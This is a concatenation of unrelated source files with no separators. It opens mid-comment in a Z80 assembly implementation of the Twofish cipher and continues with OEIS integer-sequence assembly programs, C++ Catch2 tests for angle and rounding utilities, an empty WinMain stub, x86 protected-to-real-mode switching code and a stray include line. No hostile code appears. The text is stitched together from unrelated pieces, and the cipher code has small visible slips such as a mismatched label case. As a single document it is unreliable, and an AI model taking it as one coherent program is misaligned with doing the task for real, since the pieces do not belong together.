bytes in memory using DE & HL, steps past operands ;;; Args: None. HL and DE should point to bytes to be XORed ;;; Result: XORs four bytes starting at (DE) with (HL). Result into (DE) ;;; Clobbers: DE and HL are incremented by four ;;; ========================================================================= %macro xor4HL 0 ld a,(de) ; step through bytes, XORing xor (hl) ld (de),a ; store result inc l ; assumes doesnt cross 256 byte boundaries inc e ld a,(de) xor (hl) ld (de),a inc l inc e ld a,(de) xor (hl) ld (de),a inc l inc e ld a,(de) xor (hl) ld (de),a inc l inc e %endmacro ;;; ========================================================================= ;;; xor4 -- XOR four bytes in memory using IXY registers ;;; Args: 2, first IXY is first operand, second IXY is the second operand ;;; Result: XORs four bytes starting at (%1) with (%2). Result in (%1) ;;; Clobbers: A ;;; ========================================================================= %macro xor4 2 ; XOR 4 bytes together, result in first arg ld a,(%1 + 0) xor (%2 + 0) ld (%1 + 0),a ld a,(%1 + 1) xor (%2 + 1) ld (%1 + 1),a ld a,(%1 + 2) xor (%2 + 2) ld (%1 + 2),a ld a,(%1 + 3) xor (%2 + 3) ld (%1 + 3),a %endmacro ;;; ========================================================================= ;;; clear32 -- Writes four 0 bytes to memory ;;; Args: 1, the memory location to clear ;;; Result: writes four bytes of zeros to memory starting at %1 ;;; Clobbers: HL ;;; ========================================================================= %macro clear32 1 ld hl,0000H ; word to write ld (%1),hl ; write it once ld (%1 + 2),hl ; write it again %endmacro ;;; ========================================================================= ;;; sl32 -- 32 bit rotate left in memory ;;; Args: 2, first IXY is location of data, second is # bits to rotate by ;;; Result: 32-bit left shift. 32 bit word at (%1) rotate left by %2 bits ;;; Clobbers: ;;; ========================================================================= %macro sl32 2 push bc ; save b ld b,%2 ; load number of rotations %%lp: jp nc,%%nocry ; assumes frst arg IXY pts to low byte ccf ; if carry flag is set, reset it %%nocry: rl (%1+0) ; rotate first byte rl (%1+1) ; second rl (%1+2) ; third rl (%1+3) ; final %%bot: djnz %%lp ; if not finished, loop again pop bc %endmacro ;;; ========================================================================= ;;; copy4HL -- copies four bytes from (IXY) into (HL) and increments HL ;;; Args: 1, IXY the source of the bytes ;;; Result: copies four bytes from (%1) into (HL) and increments ;;; Clobbers: none, HL is incremented by four ;;; ========================================================================= %macro copy4HL 1 ; copies four bytes into (HL) and increments push af ld a, (%1+0) ld (hl),a inc hl ld a, (%1+1) ld (hl),a inc hl ld a, (%1+2) ld (hl),a inc hl ld a, (%1+3) ld (hl),a inc hl pop af %endmacro ;;; ========================================================================= ;;; DoSBoxes -- run four bytes through the SBoxes ;;; Args: 3, first is location in memory to store results ;;; second IXY points to the input to the SBOXs ;; third IXY points to the 8 bytes of intermediate XOR material ;;; Result: stored in %3. Sbox zero output is in %3+0, sbox 1 in %3+1 etc ;;; Clobbers: ABCDEHL ;;; ========================================================================= %macro DoSBoxes 3 ld d,00H ; zero out d ; setup sbox zero ld e,(%2+0) ; load first input byte ld b,(%3+4) ; load B with first XOR material ld c,(%3+0) ; load C with second XOR material call FeedS0 ; feed through the sbox, result into A ld (%1+0),a ; store result ld e,(%2+1) ; do same for sbox 1 ld b,(%3+5) ld c,(%3+1) call FeedS1 ld (%1+1),a ld e,(%2+2) ; and sbox 2 ld b,(%3+6) ld c,(%3+2) call FeedS2 ld (%1+2),a ld e,(%2+3) ; and sbox 3 ld b,(%3+7) ld c,(%3+3) call FeedS3 ld (%1+3),a %endmacro ;;; ========================================================================= ;;; SwapText -- swap 8 contiguous bytes in memory ;;; Args: 2, both are IXY and point to start of bytes to swap ;;; Result: 8 bytes formerly starting at %2 are now at %1, and vice versa ;;; Clobbers: DEHL ;;; ========================================================================= %macro SwapText 2 ld hl, (%1) ; swap two bytes at a time ld de, (%2) ; read both in ld (%2),hl ; write both out ld (%1),de ld hl, (%1+2) ld de, (%2+2) ld (%2+2),hl ld (%1+2),de ld hl, (%1+4) ld de, (%2+4) ld (%2+4),hl ld (%1+4),de ld hl, (%1+6) ld de, (%2+6) ld (%2+6),hl ld (%1+6),de %endmacro ;;; ========================================================================= ;;; Finish0MDS -- Looks up output of first g function and finishes out ;;; MDS multiply by XORing (adding) the bytes. ;;; Args: 3, %1 is starting location in memory of input word ;;; %2 is a constant, the row that we're in. Used as an offset ;;; from Si to make lookups faster. See below. ;;; %3 is the location in memory to put result ;;; Result: feeds input word (4 bytes) to sboxes and completes MDS ;;; multiply, writing result to memory starting at %3 ;;; Clobbers: AA'DEHL ;;; ========================================================================= ;;; This feeds the g function the input word without rotating left by 8 bits. ;;; Because the sbox lookup arrays are aligned on 256 bytes frames, we can ;;; just load the high order bytes of their addresses. Saves some time and ;;; allows me to increment e instead of de. %macro Finish0MDS 3 ld h,S0_ADD + %2 ; start with sbox zero ld de,%1 ; point de to input ld a,(de) ; load first input byte inc e ; step to next byte ld l,a ; put input byte into l as offset ld a,(hl) ; load result ld h,S1_ADD + %2 ; now for sbox 1 ex af,af' ; save the result of sbox 0 ld a,(de) ; load input to sbox 1 ld l,a ; use input as offset into table ex af,af' ; get sbox 0 output back inc e ; step to next byte xor (hl) ; xor result of sbox 1 with sbox 0 ld h,S2_ADD + %2 ; now we're on sbox 2 ex af,af' ; save current value ld a,(de) ; load input byte ld l,a ; use input byte as offset ex af,af' ; get current value back inc e ; step to next byte xor (hl) ; xor the output of sbox 2 with value ld h,S3_ADD + %2 ; now we're on the last sbox ex af,af' ; save current value ld a,(de) ; load input byte ld l,a ; use input byte as table offset ex af,af' ; get current value xor (hl) ; final xor of value and sbox3's output ld (%3),a ; store result %endmacro ;;; ========================================================================= ;;; Finish1MDS -- Looks up output of second g function and finishes out ;;; MDS multiply by XORing (adding) the bytes. ;;; Args: 3, %1 is starting location in memory of input word ;;; %2 is a constant, the row that we're in. Used as an offset ;;; from Si to make lookups faster. See below. ;;; %3 is the location in memory to put result ;;; Result: feeds input word (4 bytes) to sboxes in rotated order and ;;; completes MDS multiply, writing result to mem starting at %3 ;;; Clobbers: AA'DEHL ;;; ========================================================================= ;;; This feeds the g function the input word simulating a left rotate by 8 bits ;;; before hand. This is achieved by just changing the order that we feed ;;; the input to the sboxes from 0,1,2,3 to 1,2,3,0. Other than that its ;;; identical to Finish0MDS. Should have combined these two into one big ;;; macro but oh well. %macro Finish1MDS 3 ; Same exact operation as above, just ld h,S1_ADD + %2 ; feeding sboxes in a different order. ld de,%1 ld a,(de) ld l,a inc e ld a,(hl) ld h,S2_ADD + %2 ex af,af' ld a,(de) ld l,a ex af,af' inc e xor (hl) ld h,S3_ADD + %2 ex af,af' ld a,(de) ld l,a ex af,af' inc e xor (hl) ld h,S0_ADD + %2 ex af,af' ld a,(de) ld l,a ex af,af' xor (hl) ld (%3),a %endmacro ;;; ========================================================================= ;;; RoundFunc -- performs a whole F function minus the output rotations ;;; and keyword addition ;;; Args: ;;; Result: RESULT1 contains output of first g function ;;; RESULT2 contains output of second g function ;;; Clobbers: AA'DEHL ;;; ========================================================================= %macro RoundFunc 0 ; Feed the first input word to g function, storing result in RESULT1 Finish0MDS MyText,0,RESULT1 ; with row 1 of MDS matrix Finish0MDS MyText,01H,RESULT1+1 ; with row 2 of MDS matrix Finish0MDS MyText,02H,RESULT1+2 ; with row 3 of MDS matrix Finish0MDS MyText,03H,RESULT1+3 ; with row 4 of MDS matrix ; Feed the second input word to g function, storing result in RESULT2 Finish1MDS MyText+4,0,RESULT2 ; with row 1 of MDS matrix Finish1MDS MyText+4,01H,RESULT2+1 ; with row 2 of MDS matrix Finish1MDS MyText+4,02H,RESULT2+2 ; with row 3 of MDS matrix Finish1MDS MyText+4,03H,RESULT2+3 ; with row 4 of MDS matrix add4MEM RESULT1,RESULT2 ; do the pseudo-hadamard transform add4MEM RESULT2,RESULT1 %endmacro ;;; ========================================================================= ;;; Subroutines ;;; ========================================================================= ;;; ========================================================================= ;;; KeySetup -- sets up round subkeys, etc. MUST BE CALLED BEFORE ENCRYPT ;;; Args: KEY contains the 128 bit key ;;; Result: K0 to K39 are in K, Subkeys S0 and S1 are in S, ;;; Clobbers: All registers, K, S, Me, Mo, ASbKey, BSbKey, TEMP32_1 ;;; ========================================================================= ;;; This can definitely be optimized. Eg, check to see if ldir is any ;;; faster than just copying, etc., Make Ke0 Ke1 etc index into KEY, etc KeySetup: copy4 Me,KEY copy4 Me+4,KEY+8 copy4 Mo,KEY+4 copy4 Mo+4,KEY+12 ;; Me and Mo are valid at this point ;; Now calculate subkeys S0 and S1 ld IY, Me ; point IX towards first even 32bit word ld IX, Mo ; point IY towards first odd 32bit word call RS_MDS_Encode ; do the RS thang ld de, S+4 ; we're going to put the first word here ld bc, 0004H ; going to copy four bytes... ldir ; copy into S ld IY, Me+4 ; point IX towards second even 32bit word ld IX, Mo+4 ; point IY towards second odd 32bit word call RS_MDS_Encode ; do the RS thang ld de, S ; we're going to put the second word here ld bc, 0004H ; going to copy four bytes... ldir ; copy into S ;; at this point Me, Mo, and S are valid ld hl, K ; get ready to compute expanded keywords ld a, 00H ; start count at zero SubKeyLoop: push hl ; save location of extended keywords push af ; save count ld IX,ASbKey ; load location of A dup4 IX ; duplicate accumulator into A ld IY,Me ; load even keyword call f32 ; run the permutation pop af ; pop off the count inc a ; increment the count push af ; save count again ld IX,BsbKey ; load location of B dup4 IX ; duplicate accum into B ld IY,Mo ; load odd keyword (KEY[4]to[7]) call f32 ; do the permutation ld b,08H call rol32 ; rotate B around 8 bits left ld IY,ASbKey ; load A's address add4MEM ASbKey,BSbKey ; Do PHT add4MEM BSbKey,ASbKey ld b,9 call rol32 ; rotate B around 9 bits left pop af ; grab the count again pop hl ; grab location of key again (was clobbered) copy4HL IY ; copy into expanded keywords (increments HL) copy4HL IX ; copy second word inc a ; increment our count cp 40 ; are we done yet? (Note: too far to use djnz) jp nz,SubKeyLoop ; loop if we're not ret ; and we're done ;;; ========================================================================= ;;; MakeTable -- precomputes lookup table for full keying ;;; Args: Assumes KeySetup has already been called ;;; Result: Si_ROWj[k] contains the output of sbox i multiplied by the ;;; appropriate MDS value for row j on input k. The final MDS ;;; addition (4 byte-wise XORs) is computed in the round function. ;;; Clobbers: All registers, Si_ROWj for 0<=i<=3, 1<=j<=4 ;;; ========================================================================= ;;; Note that sboxes are numbered from 0 to 3 and rows from 1 to 4. Also ;;; this full keying version relies on the fact that each Si's ROW ;;; arrays are aligned on 256 byte frames. MakeTable: ld de,0000H ; clear out DE, we use e as the count and ; input value for the sboxes TblLp: ;; This loop runs 256 times and each iteration fills in SBOX arrays ;; with the appropriate output given the count as input. Only the ;; code for filling SBOX0's arrays is commented. The code to fill ;; the other SBOXs' arrays is run in parallel and differs only in the ;; value of multiplication and desintaion of output. Looking back, I ;; should have made this a macro... ld hl,S+4 ; Setup XOR material ld b,(hl) ; put first byte to XOR in B ld hl,S ld c,(hl) ; and the second XOR byte into C push de ; save our current count and input call FeedS0 ; feed value through the sbox pop de ; get out count and input back ld hl,S0_ROW1 ; location to stick output add hl,de ; find offset into array ld (hl),a ; store result into array (multiply by 01) push de ; save count/input ld hl,tab5B ; get ready to do multiplication by 5B ld e,a ; move output of sbox into e to use de as offset add hl,de ; find offset into table ex af,af' ; save a (the output of sbox 0) ld a,(hl) ; load result of multiply pop de ; get our count/input back push de ; save it again ld hl,S0_ROW2 ; laod loction of output add hl,de ; find offset into array ld (hl),a ; store result of sbox and multiply by 5B ex af,af' ; retreive the sbox output ld hl,tabEF ; get ready to multiply by EF ld e,a ; put sbox output into e to offset into tabEF add hl,de ; calculate the offset ld a,(hl) ; grab result of the multiply ld hl,S0_ROW3 ; both ROW3 and ROW4 are multiplied by EF so... pop de ; get back input value push de ; save it again add hl,de ; offset into ROW3 ld (hl),a ; store value ld hl,S0_ROW4 ; ROW4 is also multiplied by EF so... add hl,de ; find offset ld (hl),a ; and store value ;; Done with sbox zero ld hl,S+5 ; Setup sbox 1 and continue... ld b,(hl) ld hl,S+1 ld c,(hl) call FeedS1 pop de ld hl,S1_ROW4 add hl,de ld (hl),a push de ld hl,tab5B ld e,a add hl,de ex af,af' ld a,(hl) pop de push de ld hl,S1_ROW3 add hl,de ld (hl),a ex af,af' ld hl,tabEF ld e,a add hl,de ld a,(hl) ld hl,S1_ROW1 pop de push de add hl,de ld (hl),a ld hl,S1_ROW2 add hl,de ld (hl),a ;; Done with sbox one ld hl,S+6 ; Setup sbox 2 and continue... ld b,(hl) ld hl,S+2 ld c,(hl) call FeedS2 pop de ld hl,S2_ROW3 add hl,de ld (hl),a push de ld hl,tab5B ld e,a add hl,de ex af,af' ld a,(hl) pop de push de ld hl,S2_ROW1 add hl,de ld (hl),a ex af,af' ld hl,tabEF ld e,a add hl,de ld a,(hl) ld hl,S2_ROW2 pop de push de add hl,de ld (hl),a ld hl,S2_ROW4 add hl,de ld (hl),a ;; Done with sbox 2 ld hl,S+7 ; Setup sbox 3 and do it... ld b,(hl) ld hl,S+3 ld c,(hl) call FeedS3 pop de ld hl,S3_ROW2 add hl,de ld (hl),a push de ld hl,tabEF ld e,a add hl,de ex af,af' ld a,(hl) pop de push de ld hl,S3_ROW3 add hl,de ld (hl),a ex af,af' ld hl,tab5B ld e,a add hl,de ld a,(hl) ld hl,S3_ROW1 pop de add hl,de ld (hl),a ld hl,S3_ROW4 add hl,de ld (hl),a ;; Done with sbox 3 ;; Finished filling in values for all SBOXs and ROWS for input e inc e ; Increment out count... jp nz,TblLp ; if not done, loop again ret ;;; ========================================================================== ;;; EncryptBlock (FULL KEYING, ECB VERSION) ;;; Args: None ;;; Result: 128 bit block of text at MyText is encrypted ;;; Clobbers: Everything ;;; ========================================================================== EncryptBlock: xor16 MyText,K ; input whitening ld b,16 ; number of rounds exx ; swap them out for later use (only 4 Tstates) ld hl, K+32 ; load location of keywords K8 to K39 push hl ; push it on the stack Encrypt: ; actual encryption loop RoundFunc ; do a round pop hl ; pop our location in the keywords add4HL RESULT1 ; add keyword to RESULT1 add4HL RESULT2 ; add keyword to RESULT2 push hl ; push our location in the keywords ld de,MyText+8 ; get ready XOR first output word ld hl,RESULT1 ; where it is xor4HL ; xor RESULT1 with 1st word in right half ; now go to spare registers so we can use HL again after rotations ; just experimenting :) exx ; looking at word as little-endian ld hl,MyText+11 ; start with last byte in word rr (hl) ; rotate it right, xor unsets CF so no worries dec l ; rotate other bytes around... rr (hl) dec l rr (hl) dec l rr (hl) jp nc,NoCry1 ; did we rotate out a 1? If so... ld hl,MyText+11 ; we need to rotate it back in set 7,(hl) ccf NoCry1: ld hl,MyText+12 ; now to rotate the second word left rl (hl) inc l rl (hl) inc l rl (hl) inc l rl (hl) jp nc,NoCry2 ; again, check carry flag ld hl,MyText+12 ; and set the bit if necessary set 0,(hl) NoCry2: exx ; go back to our other registers xor4HL ; XOR result2 into 2nd word SwapText MyText,MyText+8 ; do the swap exx ; get round info back dec b ; decrement b exx ; swap back out (no flags affected) jp nz,Encrypt ; are we done? if not, loop again SwapText MyText,MyText+8 ; undo the last swap xor16 MyText,K+16 ; output whitening pop hl ; pop hl to keep stack aligned ret ;;; ========================================================================== ;;; DecryptBlock ;;; Args: None ;;; Result: 128 bit block of text at MyText is decrypted ;;; Clobbers: Everything ;;; ========================================================================== DecryptBlock: xor16 MyText,K+16 ; input whitening ld b, 16 ; number of rounds exx ; swap out for later use (only 4 Tstates) ld hl, K+152 ; load location of keywords K8 to K39 push hl ; push it on the stack Decrypt: ; actual encryption loop RoundFunc ; do a round pop hl ; pop off our location in keywords add4HL RESULT1 ; add keywords, remember HL is incremented add4HL RESULT2 ld de, 65520 ; simulate subtraction by 16 add hl,de push hl ; push on location of next keywords to use jp nc, Nocry3 ; ensure carry flag is unset. This was a ccf ; gotcha because its set in the add above NoCry3: ld hl,MyText+8 ; rotate byte around 1 bit left rl (hl) inc l rl (hl) inc l rl (hl) inc l rl (hl) jp nc,NoCry4 ; again, make sure everythings OK with carry ld hl,MyText+8 set 0,(hl) NoCry4: ld hl, RESULT1 ; get ready to XOR output into text ld de, MyText+8 xor4HL ; do both XORs right away xor4HL ld hl,MyText+15 ; now rotate the other word around 1 bit right rr (hl) dec l rr (hl) dec l rr (hl) dec l rr (hl) jp nc,NoCry5 ld hl,MyText+15 set 7,(hl) NoCry5: SwapText MyText,MyText+8 ; do the swap exx ; get round info back dec b ; decrement b exx ; swap back out (no flags affected) jp nz,Decrypt ; are we done? if not, loop again SwapText MyText,MyText+8 ; undo the last swap xor16 MyText,K ; output whitening pop hl ; pop hl to keep stack aligned ret ;;; ========================================================================== ;;; RS_MDS_Encode ;;; Args: IX points to first 32 bit keyword, IY to the second ;;; Result: HL points to resulting byte (stored in TEMP32_1) ;;; Clobbers: TEMP32_1, AFBCDEHL ;;; ========================================================================== ;;; Note everything is sepecific to 128 bits RS_MDS_Encode: ld de, TEMP32_1 ; 32 bits to play with clear32 TEMP32_1 push ix push ix pop hl ; get ready to copy ld bc, 0004H ; four bytes to move ldir ; do it ld ix, TEMP32_1 ; point ix towards memory ld b, 04H ; get ready to do Reed-Solomon RSlp1: push bc call RS_Rem ; do it pop bc djnz RSlp1 ; loop until done with that block xor4 ix,iy ; xor second keyword into result of first ld b, 04H ; get ready to do it again RSlp2: push bc call RS_rem ; do it pop bc djnz RSlp2 ; loop until done with final block ld hl, TEMP32_1 ; put address of result in HL pop ix ; restore ix's value ret ;;; ========================================================================== ;;; RS_Rem ;;; Args: IX points to low byte of 32 bit word ;;; Result: RS remainder data into mem IX points to ;;; Clobbers: AFBCD ;;; ========================================================================== RS_Rem: ld a, (ix + 3) ; load high byte into accumulator sla a ; shift one bit left jp nc, RSisz ; if (A & 80H), do XOR xor 4DH ; xor with the generator RSisz: ld b,a ; store value in b ld a, (ix + 3) ; reload high byte srl a ; shift right one bit and 7FH ; mask it bit 0, (ix + 3) ; was its lowest bit set? jp z,RSisz2 ; skip xor if it is xor 0A6H ; xor the generator right shifted one RSisz2: xor b ; xor with previous result ld c,a ; store result in c ld d, (ix + 3) ; grab hi byte again hold onto it for a sec sl32 IX,8 ; shift IX left eight ld a, (ix+3) ; grab new hi byte xor c ; xor g3 into it ld (ix+3),a ; store back ld a, (ix+2) ; grab second highest byte xor b ; xor g2 into it ld (ix+2),a ; store byte back ld a, (ix+1) ; grab next byte xor c ; g3 again ld (ix+1), a ; store back ld (ix+0),d ; store d back ret ;;; ========================================================================== ;;; f32 -- the full 32 bit permutation, include MDS (but not PHT) ;;; Args: IX points to input 32 bit word, IY to L ;;; Result: result of operation overwrites mem IX points to ;;; Clobbers: ADEHL, TEMP32_1 ;;; ========================================================================== ;;; This is one of those places this implementation is redundant. I should ;;; really only have ONE set of MDS multiply routines and use it everywhere. ;;; This is the code used by key setup. f32: DoSBoxes TEMP32_1,IX,IY ; the result goes into TEMP32_1 push IY ; be nice and save IY for keysetup ld iy, TEMP32_1 call Full_MDS_Mult ; multiply by MDS matrix pop IY ret ;;; ========================================================================== ;;; Full_MDS_mult -- full MDS matrix multiplication... SLOW ;;; Args: IY = input, IX = output ;;; Clobbers: ADEHL ;;; ========================================================================== ;;; There should be a macro for rowwise multiply! This is about the ;;; slowest and most lengthy way to do it. But its straightforward and ;;; easy to see what I'm doing. Full_MDS_Mult: ; IY=input, IX=output ld a, (IY+0) ; get first byte ld hl,tabEF ; get EF table ld d, 00H ; clear out d ld e, (IY+1) ; grab second byte add hl, de ; offset into EF table xor (hl) ; xor result of multiply ld hl, tab5B ; address of 5B table ld e, (IY+2) ; third byte add hl, de ; offset into table xor (hl) ; xor result into a sbc hl, de ; remove offset ld e, (iY + 3) ; final byte add hl, de ; calc offset xor (hl) ; final xor ld (IX+0),a ; store result ld a, (iY+3) ; get the byte multiplied by 01 ld hl, tabEF ; do EF mults first ld e, (iY+2) ; get byte add hl, de ; calc offset xor (hl) ; xor with table value sbc hl, de ; remove offset ld e, (iy+1) ; next value add hl, de ; calc offset xor (hl) ; do xor ld hl, tab5B ; the 5b table ld e, (IY+0) ; final (first) byte add hl, de ; calc offset xor (hl) ; final xor ld (ix+1),a ; store second result ld a, (iy+2) ; the 01 element sbc hl, de ; get tab5b again ld e, (iy+1) ; get 5b element add hl, de ; calc offset xor (hl) ; do xor ld hl, tabEF ; now for the EF mults ld e, (iy+0) ; first one add hl, de ; offset xor (hl) ; do xor sbc hl, de ; undo offsetting ld e, (iy+3) ; last one add hl, de ; calc offset xor (hl) ; final xor ld (ix+2), a ; store result ld a, (iy+1) ; 01 element sbc hl, de ; undo last offset ld e, (iy+0) ; first EF multiply add hl, de ; get offset xor (hl) ; do xor sbc hl, de ; undo offset ld e, (iy+2) ; second EF multiplyu add hl, de ; calc offset xor (hl) ; do xor ld hl, tab5B ; other table ld e, (iy+3) ; byte to multiply add hl, de ; offset xor (hl) ; do it ld (ix+3),a ; store final value ret ;;; ========================================================================== ;;; rol32 -- rotate 32 bit quantity left ;;; Args: called with IX pointing to data to be rotated and ;;; with B containing the number of bits to rotate ;;; Result: data pointed to by IX rotated B bits left ;;; Clobbers: none ;;; ========================================================================== rol32: rllp: jp nc,rlnocry ; assumes IX pts to low byte ccf ; if carry flag is set, reset it rlnocry: rl (IX+0) ; rotate first byte rl (IX+1) ; second rl (IX+2) ; third rl (IX+3) ; final jp nc,rlbot ; done if we just rotated out a zero set 0,(IX+0) ; if a 1, stick it in low byte rlbot: djnz rllp ; if not finished, loop again ret ;;; ========================================================================== ;;; FeedSn -- run a byte through an Sbox ;;; Args: input byte in E ;;; first XOR material in B ;;; second XOR material in C ;;; Result: result of operation in A ;;; Clobbers: ADHL ;;; ========================================================================== FeedS0: ld d,00H ; zero out d to be sure ld hl,p0 ; offset of table 0 push hl add hl,de ; get offset ld a,(hl) ; load byte from first permutation table xor b ; xor by first byte ld e,a ; get ready to load from second pop hl ; pop address of second add hl,de ; find offset ld a,(hl) ; load second permutation xor c ; second XOR ld e,a ; put result in e ld hl,p1 add hl,de ; offset into table ld a,(hl) ; final result ret FeedS1: ld hl,p0 push hl push hl ld hl,p1 add hl,de ; get offset ld a,(hl) ; load byte from first permutation table xor b ; xor by first byte ld e,a ; get ready to load from second pop hl ; pop address of second add hl,de ; find offset ld a,(hl) ; load second permutation xor c ; second XOR ld e,a ; put result in e pop hl add hl,de ; offset into table ld a,(hl) ; final result ret FeedS2: ld hl,p1 push hl push hl ld hl,p0 add hl,de ; get offset ld a,(hl) ; load byte from first permutation table xor b ; xor by first byte ld e,a ; get ready to load from second pop hl ; pop address of second add hl,de ; find offset ld a,(hl) ; load second permutation xor c ; second XOR ld e,a ; put result in e pop hl add hl,de ; offset into table ld a,(hl) ; final result ret FeedS3: ld hl,p1 push hl add hl,de ; get offset ld a,(hl) ; load byte from first permutation table xor b ; xor by first byte ld e,a ; get ready to load from second pop hl ; pop address of second add hl,de ; find offset ld a,(hl) ; load second permutation xor c ; second XOR ld e,a ; put result in e ld hl,p0 add hl,de ; offset into table ld a,(hl) ; final result ret ;;; ========================================================================= ;;; User code ;;; ========================================================================= ORG 3600H ;; for example: call KeySetup call MakeTable call EncryptBlock call DecryptBlock halt
; A083589: Expansion of 1/((1-4*x)*(1-x^4)). ; 1,4,16,64,257,1028,4112,16448,65793,263172,1052688,4210752,16843009,67372036,269488144,1077952576,4311810305,17247241220,68988964880,275955859520,1103823438081,4415293752324,17661175009296,70644700037184,282578800148737,1130315200594948,4521260802379792,18085043209519168,72340172838076673,289360691352306692,1157442765409226768,4629771061636907072,18519084246547628289,74076336986190513156,296305347944762052624,1185221391779048210496,4740885567116192841985,18963542268464771367940,75854169073859085471760,303416676295436341887040,1213666705181745367548161,4854666820726981470192644,19418667282907925880770576,77674669131631703523082304,310698676526526814092329217,1242794706106107256369316868,4971178824424429025477267472,19884715297697716101909069888,79538861190790864407636279553,318155444763163457630545118212,1272621779052653830522180472848,5090487116210615322088721891392,20361948464842461288354887565569,81447793859369845153419550262276,325791175437479380613678201049104,1303164701749917522454712804196416,5212658806999670089818851216785665,20850635227998680359275404867142660,83402540911994721437101619468570640,333610163647978885748406477874282560 mov $1,4 mov $2,$0 add $2,5 pow $1,$2 div $1,1020 mov $0,$1
#include <catch/catch.hpp> #include <Utils/MathUtils.hpp> using namespace obe::Utils::Math; TEST_CASE( "A double should be truncated to an int without data loss" " (including floating point precision)", "[obe.Utils.Math.isDoubleInt]" ) { SECTION("Correct Positive values") { REQUIRE( isDoubleInt(0.0) == true ); REQUIRE( isDoubleInt(42.0) == true ); REQUIRE( isDoubleInt(7894561) == true ); REQUIRE( isDoubleInt(2147483647) == true ); } SECTION("Correct Negative values") { REQUIRE( isDoubleInt(-123456) == true ); REQUIRE( isDoubleInt(-2147483647) == true ); } SECTION("Overflow values") { REQUIRE( isDoubleInt(2147483648) == false ); REQUIRE( isDoubleInt(-9000000000) == false ); } SECTION("Floating point precision loss") { REQUIRE( isDoubleInt(4.5) == false ); REQUIRE( isDoubleInt(-1.1) == false ); } } TEST_CASE( "A value should be converted from degrees to radians", "[obe.Utils.Math.convertToRadian]" ) { SECTION("Positive Known Angles") { REQUIRE(convertToRadian(0) == 0); REQUIRE(convertToRadian(90) == Approx(pi / 2)); REQUIRE(convertToRadian(180) == Approx(pi).margin(0.1)); REQUIRE(convertToRadian(270) == Approx(pi + pi / 2)); } SECTION("Negative Known Angles") { REQUIRE(convertToRadian(-90) == Approx(-pi / 2)); REQUIRE(convertToRadian(-180) == Approx(-pi)); REQUIRE(convertToRadian(-270) == Approx(-pi - pi / 2)); REQUIRE(convertToRadian(-360) == Approx(-2 * pi)); } SECTION("Random Angles") { REQUIRE(convertToRadian(22) == Approx(0.383972)); REQUIRE(convertToRadian(42) == Approx(0.733038)); REQUIRE(convertToRadian(-59) == Approx(-1.02974)); REQUIRE(convertToRadian(-196) == Approx(-3.42085)); } } TEST_CASE( "A value should be converted from radians to degrees", "[obe.Utils.Math.convertToDegree]" ) { SECTION("Positive Known Angles") { REQUIRE(convertToDegree(0) == 0); REQUIRE(convertToDegree(pi / 2) == Approx(90)); REQUIRE(convertToDegree(pi) == Approx(180)); REQUIRE(convertToDegree(pi + pi / 2) == Approx(270)); } SECTION("Negative Known Angles") { REQUIRE(convertToDegree(-pi / 2) == Approx(-90)); REQUIRE(convertToDegree(-pi) == Approx(-180)); REQUIRE(convertToDegree(-pi - pi / 2) == Approx(-270)); REQUIRE(convertToDegree(-2 * pi) == Approx(-360)); } SECTION("Random Angles") { REQUIRE(convertToDegree(1) == Approx(57.2958)); REQUIRE(convertToDegree(22) == Approx(1260.51)); REQUIRE(convertToDegree(-2.5) == Approx(-143.239)); REQUIRE(convertToDegree(0.7) == Approx(40.107)); } } TEST_CASE( "A value should be normalised from start to end", "[obe.Utils.Math.normalise]" ) { SECTION("Angle normalisation") { REQUIRE(normalise(0, 0, 360) == 0); REQUIRE(normalise(360, 0, 360) == 0); REQUIRE(normalise(361, 0, 360) == 1); REQUIRE(normalise(720, 0, 360) == 0); REQUIRE(normalise(1000, 0, 360) == 280); REQUIRE(normalise(-650, 0, 360) == 70); } }
// tiled.cpp : Defines the entry point for the application. // #include "stdafx.h" int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. return 0; }
; A023811: Largest metadrome (number with digits in strict ascending order) in base n. ; 0,1,5,27,194,1865,22875,342391,6053444,123456789,2853116705,73686780563,2103299351334,65751519677857,2234152501943159,81985529216486895,3231407272993502984,136146740744970718253,6106233505124424657789,290464265927977839335179,14606467545964956303452810,774212873841767703847271481,43141462809603124037923621715,2521239653781255433741174806887,154197642309049519503282176123724,9849791328331451697274678861440325,655956343554789600515162175472115225,45467109894723422308055868660308101251 add $0,1 mov $1,1 mov $2,$0 lpb $0 sub $0,1 mul $1,$2 sub $1,$0 lpe sub $1,1 mov $0,$1
use32 bits 32 org 0x8000 entry: pusha mov [saved_esp], esp mov eax, cr0 mov [saved_cr0], eax mov eax, 0xeff0 mov esp, eax jmp 0x18:move_to_real move_to_real: use16 mov eax, 0x20 mov ds, eax mov es, eax mov fs, eax mov gs, eax mov ss, eax mov eax, cr0 and eax, 01111111_11111111_11111111_11111110b mov cr0, eax jmp 0:in_real in_real: mov ax, 0 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax mov sp, 0xeff0 lidt [idt_real] sti xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call 0x9000 cli mov eax, [saved_cr0] mov cr0, eax lidt [idt_prot] sti lgdt [gdt_prot] jmp 0x08:protected protected: use32 mov eax, 0x10 mov ds, eax mov es, eax mov fs, eax mov gs, eax mov ss, eax mov esp, [saved_esp] popa sti ret saved_esp: dd 0 saved_cr0: dd 0 idt_real: dw 0x3ff dd 0 gdt_prot: dw 0x1000 dd 0xf000 idt_prot: dw (256*8)-1 dd 0x00001600
; A141326: Subsequence of 'Fermat near misses' which is generated by a simple formula based on the cubic binomial expansion along with formulas for the corresponding terms in the expression, x^3 + y^3 = z^3 + 1. ; 12,150,738,2316,5640,11682,21630,36888,59076,90030,131802,186660,257088,345786,455670,589872,751740,944838,1172946,1440060,1750392,2108370,2518638,2986056,3515700,4112862,4783050,5531988,6365616,7290090,8311782,9437280,10673388,12027126,13505730,15116652,16867560,18766338,20821086,23040120,25431972,28005390,30769338,33732996,36905760,40297242,43917270,47775888,51883356,56250150,60886962,65804700,71014488,76527666,82355790,88510632,95004180,101848638,109056426,116640180,124612752,132987210,141776838,150995136,160655820,170772822,181360290,192432588,204004296,216090210,228705342,241864920,255584388,269879406,284765850,300259812,316377600,333135738,350550966,368640240,387420732,406909830,427125138,448084476,469805880,492307602,515608110,539726088,564680436,590490270,617174922,644753940,673247088,702674346,733055910,764412192,796763820,830131638,864536706,900000300 sub $0,1 sub $2,$0 add $0,2 pow $0,4 mul $0,3 sub $0,$2 div $0,2 add $0,1 mul $0,6
#include "newhoug.h"
